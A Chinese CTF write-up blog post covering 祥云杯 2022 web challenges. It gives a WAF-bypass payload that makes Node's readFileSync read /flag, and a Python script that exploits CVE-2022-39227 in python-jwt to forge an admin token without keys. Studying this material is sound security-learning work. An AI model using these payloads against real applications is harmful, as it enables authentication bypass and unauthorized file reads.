祥云杯2022复现

RustWaf

先读src,然后使用/readfile 传入/flag可以进一步看到源码

const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const {  execFileSync } = require('child_process');

app.post('/readfile', function (req, res) {
    let body = req.body.toString();
    let file_to_read = "app.js";
    const file = execFileSync('/app/rust-waf', [body], {
        encoding: 'utf-8'
    }).trim();
    try {
        file_to_read = JSON.parse(file)
    } catch (e){
        file_to_read = file
    }
    let data = fs.readFileSync(file_to_read);
    res.send(data.toString());
});

app.get('/', function (req, res) {
    res.send('see `/src`');
});



app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

/flag

use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;

static BLACK_PROPERTY: &str = "protocol";

#[derive(Debug, Serialize, Deserialize)]
struct File{
    #[serde(default = "default_protocol")]
    pub protocol: String,
    pub href: String,
    pub origin: String,
    pub pathname: String,
    pub hostname:String
}

pub fn default_protocol() -> String {
    "http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||  body.to_lowercase().contains("proc"){
        return String::from("./main.rs"); //这里限制我们不能带有flag和proc字段
    }
    if let Ok(json_body) = serde_json::from_str::<Value>(body) {
        if let Some(json_body_obj) = json_body.as_object() {
            if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
                return String::from("./main.rs");    //这里限制我们的json字段不能带有protocol字段,但是下面限制我们是file结构体,这也就意味着我们一定要有protocol字段
            }
        }
        //not contains protocol,check if struct is File
        if let Ok(file) = serde_json::from_str::<File>(body) {//限制我们只能是这个结构体
            return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
        }
    } else{
        //body not json
        return String::from(body);
    }
    return String::from("./main.rs");
}

fn main() {
    let args: Vec<String> = env::args().collect();
    println!("{}", waf(&args[1]));  //这里把json的第二字段传进去
}

但是在这里在这里插入图片描述
readFileSync这个方法是可以接收url编码内容的
详情见pysnow师傅的这篇
["file:","b","a","/%66%6c%61%67",""]
这样就可以解析url编码拿到/flag

ezjava

没接触java,CC4试了一个下午,本地没出,寄!日后复现。

webfun

考点jwt伪造1day+grahql注入
我这里只复现一下这个jwt伪造了,grahql只能纸上谈兵的看看了并不能实操

考到了jwt新出的CVE-2022-39227

抓包的时候有一串jwt,解码出来之后可以看到
在这里插入图片描述
而我们点击页面的各种功能提示都是权限不够,那么这里也就是需要构造is_admin=1,在jwt这个版本更新之后,留下了检测是否存在漏洞的pochttps://github.com/davedoesdev/python-jwt/blob/master/test/vulnerability_vows.py这个CVE的漏洞就是不需要公钥以及私钥就能构造出jwt的认证,稍作修改就可以更改:将里面的sub=bob改成is_admin=1然后拿出来输出一下
在这里插入图片描述
给出payload:

from datetime import timedelta
from json import loads, dumps
from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['is_admin'] = 1
    parsed_payload['exp'] = 2000000000
    fake_payload = base64url_encode(
        (dumps(parsed_payload, separators=(',', ':'))))
    # print (header+ '.' +fake_payload+ '.' +signature)
    # print (header+ '.' + payload+ '.' +signature)
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

originaltoken = '''给出的jwt'''

topic = topic(originaltoken)
print(topic)

这样就能够以admin的形式登陆了
查看flag还是不行,但是这里还有一个查询接口
在这里插入图片描述
苦于没有环境,我就只能口述了,利用graphql注入,注入出账号密码,最终登陆拿到flag

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值